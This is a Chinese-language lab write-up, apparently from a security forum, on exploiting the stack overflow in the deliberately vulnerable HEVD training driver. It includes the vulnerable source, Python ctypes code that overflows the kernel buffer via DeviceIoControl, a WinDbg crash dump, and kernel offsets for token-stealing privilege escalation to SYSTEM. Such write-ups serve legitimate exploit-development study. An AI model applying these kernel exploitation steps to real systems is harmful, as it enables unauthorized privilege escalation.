HEVD全称是HackSysExtremeVulnerableDriver,它是一个包含各种Windows内核漏洞的驱动程序项目,可以用来学习Windows内核攻击。地址是https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
首先需要编译驱动程序,在前一篇中安装环境 和编译已经描述清楚了。一开始我编译的平台是Win7x86。后面再介绍x64,二者相差不大。编译完成后,使用OSR driver Loader在目标系统中加载驱动,加载完成后开始分析。同时在windbg里执行ed nt!Kd_Default_Mask 8
就可以修改注册表打开DbgPrint调试输出。
第一个漏洞是stackoverflow,因为程序有源代码,所以我先直接看的源代码。可以看到HACKSYS_EVD_IOCTL_STACK_OVERFLOW
IO code对应的是StackOverflowIoctlHandler
例程函数。跟进去这个函数,发现它获取了用户的输入以及用户传入的输入大小并且调用TriggerStackOverflow
函数,继续跟进,发现TriggerStackOverflow
即是漏洞函数。
通过这个函数可以看到漏洞的成因是KernelBuff
大小是固定的512*8字节,而在最后拷贝的时候却使用的是用户自定义的大小,导致存在溢出。
想要利用漏洞,首先能触发漏洞并引起BSOD
,漏洞触发很简单,只要传入的UserBuff
以及Size
都大于KernelBuff
即可。为了练习Python
编程能力,使用Python
的ctypes
来写程序(其实主要是看别人的代码来改)。 把程序拖进IDA,看到KernelBuff
的地址是unsigned int KernelBuffer[512]; // [esp+Ch] [ebp-828h]
,所以传入的输入大于0x828+4
即可覆盖eip
导致异常崩溃。 首先是获取驱动句柄:
接下来是触发漏洞,触发漏洞首先需要IO code,IO code可以从IDA里面获取,也可以照着源码构造。HEVD的stackoverflow的IO code是0x222003
。知道IO code以后就可以用DeviceIoControl
来传递IO包去触发漏洞。
运行脚本,系统崩溃退出。在windbg里面,我们可以看到溢出崩溃后的情况。
可以看到eip
被覆盖成了0x32323232
即输入字符串中的'2'*4
一开始学的shellcode就是替换cmd进程token为system的token,达到提权的目的。 为了获取token,需要对windows内核的结构体有些了解。 首先是获取Windows的KPCR
(Kernel Processor Control Region)结构体,这个结构体存储了关于处理器的一些信息。在win7 x86系统中该结构体存储在fs:[0]
,而在x64系统中,结构体存储在gs:[0]
中。
在KPCR
偏移0x120
的地方存储了KPRCB
( Kernel Processor Control Block)结构体,这个结构体存储了当前处理器的信息,包含线程信息等。
在这里我们关心的是偏移0x4
的_KTHREAD
结构体,这个指针指向一个ETHREAD
结构体,包含当前运行线程的信息。
在_KTHREAD
偏移0x40的地方是_KAPC_STATE
结构体。这个结构体比较简单:
最终我们看到了_KPROCESS
指针,这个指针指向EPROCESS
,EPROCESS
结构体包含了当前进程的一些信息。
这个结构体中需要关注的字段有三个,一个是UniqueProcessId
,表示的是当前进程ID
,即我们在任务管理器里面看到的进程号,我们要寻找的system
的进程号是4
。第二个是Token
字段,我们所要做的即是将system
的token
拷贝至cmd
的token
字段中。最后一个是ActiveProcessLinks
,这是一个双向链表,指向下一个进程的ActiveProcessLinks
结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程。
有了以上信息后,我们可以将shellcode的过程总结如下:
有了shellcode之后,考虑如何利用。包含以下步骤:
触发漏洞 第一步,创建cmd进程
其中第二及第三步在BSOD
部分已经说过,不再重复。 第四步,为shellcode分配内存。
第五步,创建一个字符串用于溢出驱动
第六步,触发漏洞。
最终在cmd中执行命令whoami
可以看到已经是system
用户。
x64平台编译出来后,二者相差不大,要改变的主要是三个地方,一个是溢出字符串偏移有所改变,这个具体使用IDA查看就好。一个是shellcode结构体一开始寻找使用的是gs:[0]
而不是fs:[0]
这个在前面提过,shellcode的原理是一致的。最后一个是shellcode一开始需要将rsi
寄存器设置为可读地址的区域,否则后面会报错,原因在于后面使用了rsi
寄存器来访存。所以一开始要设置。具体可以看最后给的exp 。
刚开始调试内核,不懂得东西好多,还有很多的东西要学。脚踏实地,仰望星空。
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
def gethandle():
"""Open handle to driver and return it"""
print "[*]Getting device handle..."
lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"
dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
dwShareMode = 0
lpSecurityAttributes = None
dwCreationDisposition = OPEN_EXISTING
dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
hTemplateFile = None
handle = CreateFileW(lpFileName,
dwDesiredAccess,
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile)
if not handle or handle == -1:
print "\t[-]Error getting device handle: " + FormatError()
sys.exit(-1)
print "\t[+]Got device handle: 0x%x" % handle
return handle
def trigger(hDevice, dwIoControlCode):
"""Create evil buf and send IOCTL"""
evilbuf = create_string_buffer("A"*0x828+'1'*4+'2'*4)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0x828+8
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = create_string_buffer("A"*8)
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
if not pwnd:
print "\t[-]Error: Not pwnd :(\n" + FormatError()
sys.exit(-1)
Win7_x86!IrpDeviceIoCtlHandler+b7 [c:\users\raycp\desktop\hacksysextremevulnerabledriver-master\driver\hacksysextremevulnerabledriver.c @ 208]
8e3dd4f7 8945f8 mov dword ptr [ebp-8],eax
BUGCHECK_STR: ACCESS_VIOLATION
EXECUTE_ADDRESS: 32323232
FAILED_INSTRUCTION_ADDRESS:
+0
32323232 ??
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
...
+0x120 PrcbData : _KPRCB
kd> dt nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
...
kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void
+0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
...
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [23] UChar
+0x057 Priority : Char
...
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)